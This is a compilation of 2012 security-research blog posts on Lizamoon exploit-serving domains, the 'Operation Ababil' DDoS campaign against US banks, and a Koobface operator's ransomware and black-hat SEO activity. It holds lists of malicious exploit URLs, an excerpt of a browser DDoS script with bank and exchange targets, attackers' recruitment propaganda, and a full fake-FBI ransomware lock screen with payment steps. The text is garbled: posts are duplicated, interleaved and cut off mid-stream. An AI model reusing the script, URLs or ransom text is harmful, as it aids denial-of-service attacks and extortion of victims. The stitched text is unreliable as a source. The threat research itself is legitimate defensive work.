www3.safe-defensefu.com - Email: benji.rubes@yahoo.com

and **www1.safe-wnmaster.it.cx** - 217.23.8.123 (AS49981, WorldStream)

Parked on **217.23.8.123** are also the following client-side exploits serving domains part

of the Lizamoon mass SQL injection attacks:

www1.thebestscannerdc.it.cx/i.html

www1.safebh-defense.it.cx/i.html

www1.strongdkdefense.it.cx/i.html

www2.best-czsuite.it.cx/i.html

www1.smartmasterf.it.cx/i.html

www1.simplescanerei.it.cx/i.html

www1.bestic-network.it.cx/i.html

3985

www1.topqonetwork.it.cx/i.html

www2.topasnetwork.it.cx/i.html

www1.powerynetwork.it.cx/i.html

www1.simplemasterzk.it.cx/i.html

www1.powerneholder.it.cx/i.html

www1.personalkochecker.it.cx/i.html

www1.smarthdschecker.it.cx/i.html

www1.safebacleaner.it.cx/i.html

www1.strongzkcleaner.it.cx/i.html

www1.topumcleaner.it.cx/i.html

www1.topgdscanner.it.cx/i.html

www1.smartwoscanner.it.cx/i.html

www1.safe-wnmaster.it.cx/i.html

www1.powervmaster.it.cx/i.html

www1.top-armyvs.it.cx/i.html

www2.saveocsoft.it.cx/i.html

www1.top-zjsoft.it.cx/i.html

www1.powerdefensekt.it.cx/i.html

www1.best-scanersw.it.cx/i.html

www1.powermb-security.it.cx/i.html

www1.strongxd-security.it.cx/i.html

www1.strongbtsecurity.it.cx/i.html

Client side exploits, **[6] CVE-2010-0188** and [7]**CVE-2012-0507** in particular are served

through the **i.html** file located on these hosts. In order for the client-side exploitation process

to take place, the redirection chain must be correct, if not the server will return a "404 Error

Message" when requesting a specific file part of the campaign. There are no HTTP referrer

checks in place, at least for the time being. What's particularly interesting about the current

campaign, is that during a period of time, it will on purposely serve a "404 Error Message" no

matter what happens.

Updates will be posted, as soon as new developments emerge.

8.9 September

8.9.1 Dissecting 'Operation Ababil' - an OSINT Analysis (2012-09-28 00:25)

Provoked by a questionable online video posted on YouTube, Muslims from the around the

world united in an apparent [1]**opt-in botnet crowdsourcing campaign** aiming to launch a

DDoS (denial of service attack) against YouTube for keeping the video online, and against

several [2]**major U.S banks and financial institutions**.

Dubbed " *Operation Ababil*", and operated by the Izz ad-Din al-Qassam a.k.a Qassam Cy-

ber Fighters , the campaign appear to have had a limited, but highly visible impact on the

targeted web sites. Just like in every other crowdsourced opt-in botnet campaign such as

the "[3]**Coordinated Russia vs Georgia cyber attack in progress**", the "[4]**Iranian opposition**

launches organized cyber attack against pro-Ahmadinejad sites", the "[5]**Electronic Jihad**

v3.0 - What Cyber Jihad Isn't" campaign, and the "[6]**The DDoS Attack Against CNN.com**"

campaign, political sentiments over the attribution element seem to have orbited around the

notion that it was [7]**nation-sponsored by the Iranian government**.

What’s so special about this attack?

Did the individuals behind it poses sophisticated

hacking or coding abilities? Was the work of hacktivists crowdsourcing bandwidth, or was it

actually sponsored by the Iranian government? Can we even talk about attack attribution

given that the group claiming responsibility for the attacks doesn’t have a strong digital

fingerprint?

In this post, I’ll perform an OSINT (open source intelligence) analysis aiming to expose

one of the individuals part of the group that organized the campaign, spread their propaganda

message to as many Muslim Facebook groups as possible, and actually claim responsibility for

the attacks once they took place.

The campaign originally began with a message left on Pastebin.com by the Qassam Cy-

ber Fighters group announcing "Operation Ababil":

```
Operation Ababil, The second week

In the previous announcements we stated that we will not tolerate insulting exalted character of the prophet of mercy and kindness. Due to the insult, we planned and accomplished a series of cyber operations against the insulting country's credit and financial centers.

Some U.S. officials tried to divert people's attention from the subject and claimed that the main aim of the operation was not deal to insults but it had other intentions. The officials claimed that certain countries have taken these measures to solve their internal problems.

We strongly reject the American officials' insidious attempts to deceive public opinion. We declare that the kindness and love of Muslims and free-minded people of the world to the great prophet of Islam is much more than their violent anger be deflected and controlled by such deceptive tricks.

Insult to a prophet is not acceptable especially when it is the Last prophet Muhammad (Peace Be upon Him). So as we promised before, the attack will be continued until the removal of that sacrilegious movie from the Internet.

Therefore, we suggest a Timetable for this week attacks. Knowing which times the banks and other targets are out of service, the customers of targeted sites also can manage to do their jobs as well and have a rest while the specific organization is under attack.

We shall attack for 8 hours daily, starting at 2:30 PM GMT, every day. We repeat again the attacks will continue for sure till the removal of that sacrilegious movie.
```

The original message left is as follows:

" *Operation Ababil, The second weekIn the previous announcements we stated that we will not*

tolerate insulting exalted character of the prophet of mercy and kindness. Due to the insult,

we planned and accomplished a series of cyber operations against the insulting country's

credit and financial centers.Some U.S. officials tried to divert people's attention from the

subject and claimed that the main aim of the operation was not deal to insults but it had other

intentions.

The officials claimed that certain countries have taken these measures to solve their in-

ternal problems.We strongly reject the American officials' insidious attempts to deceive public

opinion. We declare that the kindness and love of Muslims and free-minded people of the

world to the great prophet of Islam is much more than their violent anger

be deflected and

controlled by such deceptive tricks.Insult to a prophet is not acceptable especially when it is

the Last prophet Muhammad (Peace Be upon Him).

So as we promised before, the attack will be continued until the removal of that sacrile-

gious movie from the Internet.Therefore, we suggest a Timetable for this week attacks.

Knowing which times the banks and other targets are out of service, the customers of targeted

sites also can manage to do their jobs as well and have a rest while the specific organization

is under attack.We shall attack for 8 hours daily, starting at 2:30 PM GMT, every day.

We repeat again the attacks will continue for sure till the removal of that sacrilegious

movie.We invite all cyberspace workers to join us in this Proper Act.

If America's arro-

gant government do not submit, the attack will be large and larger and will include other

evil countries like Israel, French and U.Kingdom indeed.Tuesday 9/25/2012 :

1. Dear Muslim youths, Muslims Nations and are noblemen
2. When Arab nations rose against their corrupt regimes (those who support Zionist regime) at the other hand when, Crucify infidels are terrified and they are no more supporting human rights. United States of America with the help of Zionist Regime made a Sacrilegious movie insulting all the religions not only Islam.
3. All the Muslims worldwide must unify and Stand against the action, Muslims must do whatever is necessary to stop spreading this movie. We will attack them for this insult with all we have.
4. All the Muslim youths who are active in the Cyber world will attack to American and Zionist Web bases as much as needed such that they say that they are sorry about that insult.
5. We, Cyber fighters of Izz ad-din Al qassam will attack the Bank of America and New York Stock Exchange for the first step. These Targets are properties of American-Zionist Capitalists. This attack will be started today at 2 pm. GMT. This attack will continue till the Erasing of that nasty movie. Beware this attack can vary in type.
6. Down with modern infidels.

The original message published is as follows:

" Dear Muslim youths, Muslims Nations and are noblemenWhen Arab nations rose against their

corrupt regimes (those who support Zionist regime) at the other hand when, Crucify infidels

are terrified and they are no more supporting human rights. United States of America with the

help of Zionist Regime made a Sacrilegious movie insulting all the religions not only Islam.All

the Muslims worldwide must unify and Stand against the action, Muslims must do whatever is

necessary to stop spreading this movie.

We will attack them for this insult with all we have.All the Muslim youths who are active

in the Cyber world will attack to American and Zionist Web bases as much as needed such

that they say that they are sorry about that insult. We, Cyber fighters of Izz ad-din Al qassam

are properties of American-Zionist Capitalists. This attack will be started today at 2 pm. GMT.

This attack will continue till the Erasing of that nasty movie. Beware this attack can vary in

type. Down with modern infidels. "

Clearly, the group behind the campaigns aimed to deliver concise propaganda to prospective

Internet connected users who would later on be instructed on how to participate in the DDoS

attacks. Let's assess the potential of the distributed DDoS tool that was used in the campaign.

Sample screenshot of the DDoS script in Arabic:

4006

```
            <input  type= hidden  id= message  value=  >
</div>
<div>
        <dl>
                        <label id="statuss"></label>
            <dd style="opacity: 0.5;display:none;"  id="requestedCtr"></dd>
            <dt style="opacity: 0.5;display:none;" > </dt>
            <dd style="opacity: 0.5;display:none;" id="succeededCtr">0</dd>
            <dt style="opacity: 0.5;display:none;"> </dt>
            <dd style="opacity: 0.5;display:none;" id="failedCtr">0</dd>
        </dl>
</div>

<script>
var i=0;

var targets = new Array();
targets.push("http:// www.nyse.com/");
targets.push("http:// www.nasdaq.com/");
targets.push("http://www.BankOfAmerica.com/");

        (function () {
            var fireInterval;
            var isFiring = false;
            var requestedCtrNode = document.getElementById("requestedCtr"),
                succeededCtrNode = document.getElementById("succeededCtr"),
                failedCtrNode = document.getElementById("failedCtr"),
                targetURLNode = document.getElementById("targetURL"),
                fireButton = document.getElementById("fireButton"),
                messageNode = document.getElementById("message"),
                rpsNode = document.getElementById("rps"),
                timeoutNode = document.getElementById("timeout"),
                                statuss = document.getElementById("statuss");
            var targetURL = targetURLNode.value;
            targetURLNode.onchange = function () {
```

Inside the .html file, we can see that there are only three web addresses that will be targeted

in their campaign:

Detection rate for the DDoS script:

youtube.html - [8]**MD5: c3fd7601b4aefe70e4a8f6d73bf5c997**

Detected by 6 out of 43 antivirus scanners as HTool-Loic;

Hacktool.Generic;

TROJ

_GEN.F47V0924

Originally, the attack relied on a static recruitment message which included links to the

DIY DDoS script located on **4shared.com** and **Mediafire.com**. What's particularly interesting is

the fact that the files were uploaded by a user going under the handle of " *Marzi Mahdavi II*".

It's important to point out that these static links were distributed as part of the recruitment

campaign across multiple Muslim-friendly Facebook groups.

Thanks to this fact, we could easily identify the user's Facebook account, and actually spot the

original message seeking participation in the upcoming attacks.

Marzi Mahdavi II's Facebook account:

Sample shared Wall post seeking participation in the upcoming DDoS campaign:

4008

Sample blog post enticing users to participate:

4009

As Cyber fighters of Izz ad-din Al qassam asked, in the first day of Dhu al-Qi'dah at 5 o'clock pm. Mecca time (14:00 GMT) Bank of America and New York Stock Exchange will be Attacked by Muslims worldwide.
Just like Attack to YouTube site you can Download the Links and run the web page and simply hit the Start at the time of Attack.

Marzi Mahdavi II has once referenced a link pointing to the same blog, clearly indicating that

he's following the ongoing recruitment campaigns across multiple Web sites:

Second blog post enticing users to participate in the DDoS campaign:

4010

According to YouTube administrator refusal to remove the prophet of Islam-insulting video, an internet group has developed a computer program – that is approved by Hilf-ol-Fozoul experts – to prevent the release of the video.
When they run that program, YouTube will be impaired.
For more influence of this action, it is necessary to run the program by a large number of users simultaneously.
Tomorrow on 15 September at 4 pm. (Mecca Local Time) the action will begin.
The considered file has been designed in html format. You can download it from links below:
Link 1
[redacted]
Link 2
[redacted]
Link 3
[redacted]
Link 4
[redacted]

This very latest example of Iran's hacktivist community understanding of the cyber opera-

tions, once again lead me to the conclusion that what we've got here is either the fact that

Iran's hacktivist community is lacking behind with years compared to sophisticated Eastern

European hacking teams and cybercrime-friendly communities, or that Iran is on purposely

demonstrating low cyber operation capabilities in an attempt to trick the Western world into

thinking that it's still in a "catch up mode" with the rest of the world when it comes to offensive

cyber operations.

Did these coordinated DDoS campaigns actually had any impact on the targered web

sites? According to data from the Host-Tracker, they seem to have achieved limited, but

visible results, a rather surprising fact given the low profile DDoS script released by the

campaigners.

Sample Host-Tracker report for a targeted web site during the campaign:

4011

host-tracker.com

Is the Iranian government really behind this campaign, or was it actually the work of

amateurs with outdated and virtually irrelevant technical skills? Taking into consideration the

previous [9]**DDoS campaign launched by Iranian hacktivists in 2009**, in this very latest one we

once again see a rather limited understanding of cyber operations taking into consideration

the centralized nature of the chain of command in this group.

What's also worth pointing out is the fact that this is the first public appearance of the

group that claims responsibility for these attacks. Considering this and the lack of a strong

digital fingerprint for the group in question, virtually anyone on the Internet can [10]**engineer**

cyber warfare tensions between Iran and the U.S, by basically impersonating a what's

believed to be an Iranian group.

This post has been reproduced from [11]Dancho Danchev's blog.

8.9.2 Dissecting 'Operation Ababil' - an OSINT Analysis (2012-09-28 00:25)

Provoked by a questionable online video posted on YouTube, Muslims from the around the

world united in an apparent [1]**opt-in botnet crowdsourcing campaign** aiming to launch a

DDoS (denial of service attack) against YouTube for keeping the video online, and against

several [2]**major U.S banks and financial institutions**.

Dubbed " *Operation Ababil*", and operated by the Izz ad-Din al-Qassam a.k.a Qassam Cy-

ber Fighters , the campaign appear to have had a limited, but highly visible impact on the

targeted web sites. Just like in every other crowdsourced opt-in botnet campaign such as

the "[3]**Coordinated Russia vs Georgia cyber attack in progress**", the "[4]**Iranian opposition**

launches organized cyber attack against pro-Ahmadinejad sites", the "[5]**Electronic Jihad**

v3.0 - What Cyber Jihad Isn't" campaign, and the "[6]**The DDoS Attack Against CNN.com**"

campaign, political sentiments over the attribution element seem to have orbited around the

notion that it was [7]**nation-sponsored by the Iranian government**.

What's so special about this attack?

Did the individuals behind it poses sophisticated

hacking or coding abilities? Was the work of hacktivists crowdsourcing bandwidth, or was it

actually sponsored by the Iranian government? Can we even talk about attack attribution

given that the group claiming responsibility for the attacks doesn't have a strong digital

fingerprint?

In this post, I'll perform an OSINT (open source intelligence) analysis aiming to expose

one of the individuals part of the group that organized the campaign, spread their propaganda

message to as many Muslim Facebook groups as possible, and actually claim responsibility for

4017

```
1. Operation Ababil, The second week
2.
3. In the previous announcements we stated that we will not tolerate insulting exalted character of the prophet of
   mercy and kindness. Due to the insult, we planned and accomplished a series of cyber operations against the
   insulting country's credit and financial centers.
4.
5. Some U.S. officials tried to divert people's attention from the subject and claimed that the main aim of the
   operation was not deal to insults but it had other intentions. The officials claimed that certain countries have
   taken these measures to solve their internal problems.
6.
7. We strongly reject the American officials' insidious attempts to deceive public opinion. We declare that the
   kindness and love of Muslims and free-minded people of the world to the great prophet of Islam is much more than
   their violent anger be deflected and controlled by such deceptive tricks.
8.
9. Insult to a prophet is not acceptable especially when it is the Last prophet Muhammad (Peace Be upon Him). So as
   we promised before, the attack will be continued until the removal of that sacrilegious movie from the Internet.
10.
11. Therefore, we suggest a Timetable for this week attacks. Knowing which times the banks and other targets are out
    of service, the customers of targeted sites also can manage to do their jobs as well and have a rest while the
    specific organization is under attack.
12.
13. We shall attack for 8 hours daily, starting at 2:30 PM GMT, every day. We repeat again the attacks will continue
    for sure till the removal of that sacrilegious movie.
```

the attacks once they took place.

The campaign originally began with a message left on Pastebin.com by the Qassam Cy-

ber Fighters group announcing "Operation Ababil":

The original message left is as follows:

" *Operation Ababil, The second weekIn the previous announcements we stated that we*

will not tolerate insulting exalted character of the prophet of mercy and kindness. Due to

the insult, we planned and accomplished a series of cyber operations against the insulting

country's credit and financial centers.Some U.S. officials tried to divert people's attention

from the subject and claimed that the main aim of the operation was not deal to insults but it

had other intentions.

The officials claimed that certain countries have taken these measures to solve their in-

ternal problems.We strongly reject the American officials' insidious attempts to deceive public

opinion. We declare that the kindness and love of Muslims and free-minded people of the

world to the great prophet of Islam is much more than their violent anger be deflected and

controlled by such deceptive tricks.Insult to a prophet is not acceptable especially when it is

the Last prophet Muhammad (Peace Be upon Him).

So as we promised before, the attack will be continued until the removal of that sacrile-

gious movie from the Internet.Therefore, we suggest a Timetable for this

week attacks.

Knowing which times the banks and other targets are out of service, the customers of targeted

sites also can manage to do their jobs as well and have a rest while the specific organization

is under attack.We shall attack for 8 hours daily, starting at 2:30 PM GMT, every day.

We repeat again the attacks will continue for sure till the removal of that sacrilegious

movie.We invite all cyberspace workers to join us in this Proper Act.

If America's arro-

gant government do not submit, the attack will be large and larger and will include other

evil countries like Israel, French and U.Kingdom indeed.Tuesday 9/25/2012 :

attack to

Wells Fargo site, www.wellsfargo.comWednesday 9/26/2012 :

attack to U.S. Bank site,

www.usbank.comThursday 9/27/2012 : attack to PNC site, www.pnc.com Weekends: planning

for the next week' attacks.Mrt. Izz ad-Din al-Qassam Cyber Fighters"

Periodically, the group also released update notes for the campaigns currently taking

place:

4019

Operation Ababil : second step over chase.com

BY: QASSAMCYBERFIGHTERS ON SEP 19TH, 2012 | SYNTAX: NONE | SIZE: 0.47 KB | HITS: 2,874 | EXPIRES: NEVER

DOWNLOAD | RAW | EMBED | REPORT ABUSE

```
"Operation Ababil" started over BoA :

http://pastebin.com/mCHia4W5
http://pastebin.com/wMma9zyG

In the second step we attacked the largest bank of the united states, the "chase" bank. These series of attacks will continue untill the Erasing of that nasty movie from the Internet.

The site "www.chase.com" is down and also Online banking at "chaseonline.chase.com" is being decided to be Offline !

Down with modern infidels.

1. Dear Muslim youths, Muslims Nations and are noblemen
2. When Arab nations rose against their corrupt regimes (those who support Zionist regime) at the other hand when, Crucify infidels are terrified and they are no more supporting human rights. United States of America with the help of Zionist Regime made a Sacrilegious movie insulting all the religions not only Islam.
3. All the Muslims worldwide must unify and Stand against the action, Muslims must do whatever is necessary to stop spreading this movie. We will attack them for this insult with all we have.
4. All the Muslim youths who are active in the Cyber world will attack to American and Zionist Web bases as much as needed such that they say that they are sorry about that insult.
5. We, Cyber fighters of Izz ad-din Al qassam will attack the Bank of America and New York Stock Exchange for the first step. These Targets are properties of American-Zionist Capitalists. This attack will be started today at 2 pm. GMT. This attack will continue till the Erasing of that nasty movie. Beware this attack can vary in type.
6. Down with modern infidels.

The original message published is as follows:

" *Dear Muslim youths, Muslims Nations and are noblemenWhen Arab nations rose against their*

corrupt regimes (those who support Zionist regime) at the other hand when, Crucify infidels

are terrified and they are no more supporting human rights. United States of America with the

help of Zionist Regime made a Sacrilegious movie insulting all the religions not only Islam.All

the Muslims worldwide must unify and Stand against the action, Muslims must do whatever is

necessary to stop spreading this movie.

We will attack them for this insult with all we have.All the Muslim youths who are active

in the Cyber world will attack to American and Zionist Web bases as much as needed such

that they say that they are sorry about that insult.We, Cyber fighters of Izz ad-din Al qassam

will attack the Bank of America and New York Stock Exchange for the first step. These Targets

are properties of American-Zionist Capitalists. This attack will be started

today at 2 pm. GMT.

This attack will continue till the Erasing of that nasty movie. Beware this attack can vary in

type. Down with modern infidels. "

Clearly, the group behind the campaigns aimed to deliver concise propaganda to prospective

Internet connected users who would later on be instructed on how to participate in the DDoS

attacks. Let's assess the potential of the distributed DDoS tool that was used in the campaign.

Sample screenshot of the DDoS script in Arabic:

4021

Inside the .html file, we can see that there are only three web addresses that will be

targeted in their campaign:

4022

```
        <input type="hidden" id="message" value="" />

Detection rate for the DDoS script:

youtube.html - [8]**MD5: c3fd7601b4aefe70e4a8f6d73bf5c997**

Detected by 6 out of 43 antivirus scanners as HTool-Loic;

Hacktool.Generic;

TROJ

_GEN.F47V0924

Originally, the attack relied on a static recruitment message which included links to the

DIY DDoS script located on **4shared.com** and **Mediafire.com**. What's particularly interesting is

the fact that the files were uploaded by a user going under the handle of " *Marzi Mahdavi II*".

It's important to point out that these static links were distributed as part of the recruitment

campaign across multiple Muslim-friendly Facebook groups.

Thanks to this fact, we could easily identify the user's Facebook

account, and actually

spot the original message seeking participation in the upcoming attacks.

Marzi Mahdavi II's Facebook account:

4023

Sample shared Wall post seeking participation in the upcoming DDoS campaign:

4024

Sample blog post enticing users to participate:

4025

As Cyber fighters of Izz ad-din Al qassam asked, in the first day of Dhu al-Qi'dah at 5 o'clock pm. Mecca time (14:00 GMT) Bank of America and New York Stock Exchange will be Attacked by Muslims worldwide.
Just like Attack to YouTube site you can Download the Links and run the web page and simply hit the Start at the time of Attack.

Marzi Mahdavi II has once referenced a link pointing to the same blog, clearly indicating

that he's following the ongoing recruitment campaigns across multiple Web sites:

Second blog post enticing users to participate in the DDoS campaign:

4026

According to YouTube administrator refusal to remove the prophet of Islam-insulting video, an internet group has developed a computer program – that is approved by Hilf-ol-Fozoul experts – to prevent the release of the video.
When they run that program, YouTube will be impaired.
For more influence of this action, it is necessary to run the program by a large number of users simultaneously.
Tomorrow on 15 September at 4 pm. (Mecca Local Time) the action will begin.
The considered file has been designed in html format. You can download it from links below:
Link 1
[redacted]
Link 2
[redacted]
Link 3

Link 4
[redacted]

This very latest example of Iran's hacktivist community understanding of the cyber oper-

ations, once again lead me to the conclusion that what we've got here is either the fact that

Iran's hacktivist community is lacking behind with years compared to sophisticated Eastern

European hacking teams and cybercrime-friendly communities, or that Iran is on purposely

demonstrating low cyber operation capabilities in an attempt to trick the Western world into

thinking that it's still in a "catch up mode" with the rest of the world when it comes to offensive

cyber operations.

Did these coordinated DDoS campaigns actually had any impact on the targered web

sites? According to data from the Host-Tracker, they seem to have achieved limited, but

visible results, a rather surprising fact given the low profile DDoS script released by the

campaigners.

Is the Iranian government really behind this campaign, or was it

actually the work of amateurs with outdated and virtually irrelevant

technical skills? Taking into consideration the previous [9]**DDoS campaign launched by Iranian**

hacktivists in 2009, in this very latest one we once again see a rather limited understanding

of cyber operations taking into consideration the centralized nature of the chain of command

in this group.

What's also worth pointing out is the fact that this is the first public appearance of the

group that claims responsibility for these attacks. Considering this and the lack of a strong

digital fingerprint for the group in question, virtually anyone on the Internet can [10]**engineer**

cyber warfare tensions between Iran and the U.S, by basically impersonating a what's

believed to be an Iranian group.

New Russian DIY DDoS bot spotted in the wild

September 28, 2012 – 12:00 am

4 Votes

By Dancho Danchev

Over the last couple of years, the modular and open source nature of today's modern DDoS (distributed denial of service) bots inevitably resulted in the rise of the DDoS for hire and DDoS extortion monetization schemes within the cybercrime ecosystem.

These maturing business models require constant innovation on behalf of the cybercriminals providing the easy to use and manage DIY DDoS bots, the foundation of these business models. What are some of the latest developments in this field? Are the malware coders behind these releases actually innovating, or are they basically re-branding old malware bots and reintroducing them on the market? Let's find out.

In this post, I'll profile a recently released DIY DDoS bot, which according to its author is a modification of the Dirt Jumper DDoS bot.

8.10.2 Dissecting ’Operation Ababil’ - an OSINT Analysis - Part Two (2012-10-26 15:36)

With more crowdsourced intelligence on "Operation Ababil" published in the recent weeks, it’s

time to revisit the campaign’s core strategy for harnessing enough bandwidth to successfully

take down major U.S financial institutions.

As you can remember, in [1]**Part One of the OSINT analysis for "Operation Ababil"** I em-

phasized on the crowdsourcing campaign launched by Izz ad-Din al-Qassam a.k.a Qassam

Cyber Fighters, which led to the successful DDoS attack against these institutions. It appears

that this is just one of the many stages of the campaign.

According to security researchers from Proxelic, the attackers also relied on [2]**a PHP based**

DDoS attack script known as "itsoknoproblembro" that was installed on servers susceptible to

exploitation through the Bluestork Joomla template. By combining crowdsourced bandwidth

and bandwidth from the compromised servers, the attackers managed to successfully achieve

their objectives.

The DDoS script in question,"itsoknoproblembro", has been publicly available as a down-

load for months before the attacks started, indicating that it was not on purposely coded to

be used in the campaign against major U.S financial institutions.

4039

Detection rate: PHP _DDoS.html - [3]**MD5: 9ebab9f37f2b17529ccbcdf9209891be** - detected

by 9 out of 44 antivirus scanners as PHP/Obfuscated.F; Heuristic.BehavesLike.JS.Suspicious.A

Next to Prolexic's claims, [4]**th3j35t3r also published an analysis** of the situation that's

primarily relying on wishful thinking and social engineering, claiming that Anonymous sup-

plied the operators of "Operation Ababil" with DDoS bandwidth by using a service called

Multiboot.me - 108.162.193.85; 108.162.193.185, AS13335.

Sample screenshots of the Multiboom.me's GUI:

4040

With "Operation Ababil" continuing to fuel political tensions between the U.S and Iran, which

is blamed for organizing the launching these attacks, it's worth emphasizing on the basics of

[5]**'false-flag' cyber operations**, and [6]"**aggregate-and-forget**" type of botnets.

When was the first time you heard of Izz ad-Din al-Qassam a.k.a Qassam Cyber Fight-

ers? Appreciate my rhetoric - right after they started their crowdsourcing campaign. With

the group lacking any significant digital fingerprint prior to these attacks, virtually anyone

can localize their objectives with a little twist of politics and propaganda, and easily set the

foundations for what is now perceived as an Iranian cyber operation.

Moreover, their bandwidth acquisition techniques clearly indicate that the attackers are

aware of the dynamics of modern cyber operations in general, and by doing so, chose to

acquire bandwidth without outsourcing their needs to ubiquitous and sophisticated [7]**Russian**

DDoS on demand services, which could have led to the easy identification of the service in

question, next to the cybercriminals behind it.

Updates will be posted as soon as new intel becomes available.

BofA 'Online Banking Passcode Reset' themed emails serve client-side exploits and malware

November 1, 2012 – 12:00 am

3 Votes

By Dancho Danchev

Cybercriminals are currently mass mailing millions of emails, in an attempt to trick Bank of America customers into clicking on the exploit and malware-serving link found in the spamvertised email. Relying on bogus "*Online Banking Passcode Changed*" notifications and professionally looking email templates, the campaign is the latest indication of the systematic rotation of impersonated brands in an attempt to cover as many market segments as possible.

8.11.4 Koobface Botnet Master KrotReal Back in Business, Distributes Ransomware

And Promotes BHSEO Service/Product (2012-11-26 03:52)

On January 09, 2012 I exposed [1]**Koobface botnet master KrotReal**. On January 16, 2012,

[2]**The New York Times went public with data from Facebook Inc.** exposing the identities

of the rest of the group. What happened? With the botnet masters still at large, and the

Koobface botnet currently offline, a logical question emerges - what are these cybercriminals

up to now that they're no longer involved in managing Koobface?

Cybercrime as usual!

Continuing to [3]**squeeze the cybercrime ecosystem**, and keep known bad actors on a

short leash, in this intelligence brief I'll expose [4]**Anton Nikolaevich Korotchenko a.k.a**

KrotReal's s latest activities, indicating that he's currently busy experimenting with two

projects:

• A Black Hat (SEO) Search Engine Optimization related service/product

• Underground traffic exchange/pay-pay-install network currently distributing localized Ran-

somware

Just like the case when KrotReal's real life identity was revealed due to a single mistake he

made over a period of several years, namely to register a Koobface command and control

server using his personal GMail account, in this intelligence brief I'll once again expose his

malicious and fraudulent activities by profiling two of the most recently domains he once

again registered with his personal GMail account.

Let's start by profiling his Black Hat SEO service/product, currently hosted on one of the

domains he registered in 2011.

trafficconverter.in - 176.9.146.78 - Email: krotreal@gmail.com

Created On:28-Jul-2011 12:37:45 UTC

Last Updated On:28-Jun-2012 08:11:43 UTC

Expiration Date:28-Jul-2013 12:37:45 UTC

Capabilities	Blogger	Yoom CMS	Wordpress
Using an external domain	✔	✔	limited
Disk Space	✘	✔	limited
Edit the template / css	✔	✔	limited
Access to the Sitemap and Robots.txt	✘	✔	limited
Support for meta tags	partially	✔	✔
Support categories	partially	✔	✔
Import xml	✔	✔	limited
Backup and Export Template	✔	✔	partially
Built-in hosting for images	Google Picasa	Own	Own
Lack of reference to developer	✔	partially	partially
Multi-user access	partially	✔	partially
Built-in statistics	✔	✔	✔
Russian-language technical support	✘	✔	limited
Result	**9**	**21**	**16**

The service/produce apparently allows the systematic abuse of legitimate blogging platforms

such as Google's Blogger and Wordpress, next to Yoom CMS. KrotReal himself might be using

the tool, or sell/offer access to it as a managed service. Does this mean he's not using it by

himself to monetize the hijacked legitimate traffic that he's able to obtain through his Black

Hat SEO campaigns? Not at all.

More domains presumably to be used for Black Hat SEO purposes registered with KrotReal's

personal email account (krotreal@gmail.com):

superstarfind.com

celeb-search.com

myown-search.com

myfindstuff.com

network-find.com

coolfind200309.com

experimentsearch.com

4052

fashion-overview.com

krotpong.com

adultpartypics.com

findhunt.com

How is he actually monetizing the hijacked traffic?

Keep reading.

Now it's time to ex-

pose his malicious activities in the form of spreading localized Ransomware variants. For

the record, [5]**the Koobface gang distributed primarly scareware** – there's evidence that the

group was also involved in other [6]**malicious campaigns** – and even [7]**bragged about the**

fact that they're not damaging infected user PCs.

What's particularly interesting about profiling this campaign, is that it's a great example

of double-layer monetization, as KrotReal is earning revenue through the Traffic Holder Adult

Affiliate Program, in between serving client-side exploits and ultimately dropping Ransomware

on the affected host using the same redirection chain.

What we've got here is a great example of the following - when you don't fear legal

4058

prosecution for your fraudulent activities over a period of several years, earning you poten-

tially hundreds of thousands of dollars, you just launch new projects, continuing to cause more

harm and fraudulently obtain funds from infected victims.

For those who are interested in more details on the technical side of this Ransomware,

you should [14]**consider going through this research**.

Hat tip to Steven Adair from [15]**Shadowserver** for the additional input.

8.11.5 Koobface Botnet Master KrotReal Back in Business, Distributes Ransomware

And Promotes BHSEO Service/Product (2012-11-26 03:52)

On January 09, 2012 I exposed [1]**Koobface botnet master KrotReal**. On January 16, 2012,

[2]**The New York Times went public with data from Facebook Inc.** exposing the identities

of the rest of the group. What happened? With the botnet masters still at large, and the

Koobface botnet currently offline, a logical question emerges - what are these cybercriminals

up to now that they're no longer involved in managing Koobface?

Cybercrime as usual!

4059

Continuing to [3]**squeeze the cybercrime ecosystem**, and keep known bad actors on a

short leash, in this intelligence brief I'll expose [4]**Anton Nikolaevich Korotchenko a.k.a**

KrotReal's s latest activities, indicating that he's currently busy experimenting with two

projects:

• A Black Hat (SEO) Search Engine Optimization related service/ product

• Underground traffic exchange/pay-pay-install network currently distributing localized Ran-

somware

Just like the case when KrotReal's real life identity was revealed due to a single mistake he

made over a period of several years, namely to register a Koobface command and control

server using his personal GMail account, in this intelligence brief I'll once again expose his

malicious and fraudulent activities by profiling two of the most recently domains he once

again registered with his personal GMail account.

Let's start by profiling his Black Hat SEO service/product, currently hosted on one of the

domains he registered in 2011.

Your PC is blocked due to at least one of the reasons specified below.

REVIEW THE VIOLATION(S) BELOW, AND FOLLOW INSTRUCTIONS TO COMPLY!

Your have accessed and/or distributed illegal copyrighted material, and are in direct violation of the Intellectual Property Clause, Article I, Section 8, Clause 8 of the United States Constitution.

Article 1, Section 8, Clause 8 of the Criminal Code provides for a fine of two to five hundred minimal wages or a deprivation of liberty for two to eight years.

You have viewed or distributed illegal pornographic content, such as child pornography or zoophilia, and are in direct violation of the Title 18, Section §2252 of the US Code. It is a federal crime to knowingly possess, manufacture, distribute, or access with intent to view child pornography (18 U.S.C. §2252).

Illegal access has been initiated from your PC without your knowledge or consent, your PC may be infected by malware, thus you are violating the law on Neglectful Use of Personal Computer. Article 210 of the Criminal Code provides for a fine of up to $100,000 and /or deprivation of liberty for four to nine years.

Pursuant to the affirmative defense sections in the above laws, as well as a possibility of malware/virus infection on your system, which has led to the violation(s) above, there is a temporary ammendment in effect, which allows the payment of fine in the amount of $200 for all first-time offenders under the above statues.

Keep in mind, that a repeat offence will be prosecuted to the full extent of the law. If neglect is proven in court for not using adequate means of protection for you computer against unauthorized access by malware/virus, you may still be charged with above.

YOUR PAYMENT MUST ME SUBMITTED NOT LATER THAN 72 HOURS AFTER THE INITIAL BLOCK. IF NO PAYMENT IS RECEIVED IN THIS TIMEFRAME, ALL CASES ARE AUTOMATICALLY FORWARDED TO THE US DEPARTMENT OF JUSTICE TO BEGIN CRIMINAL PROCEEDINGS.

To unlock the computer, you must pay the fine through Moneypak of 200$.

How do I unlock computer using MoneyPak?

1 2 3 unlock

1. Go to the local retail location where the MoneyPaks are sold. They are usually located in the prepaid section.
2. Proceed to the cashier and load the card with cash. A 4.95 fee will be added by the retailer.
3. Enter the digits under the scratch-off section of the MoneyPak card in the window below, one digit at a time.

When you pay the fine, your PC will get unlocked in 1 to 48 hours after the money is put into the State account. In case an error occurs, you'll have to send the code by email fine@fbi.gov (Do not forget to specify IP address)

Enter the MoneyPak code

Enter the code MoneyPak amount $ 200

1 2 3 4 5 6 7 8 9 0

Delete

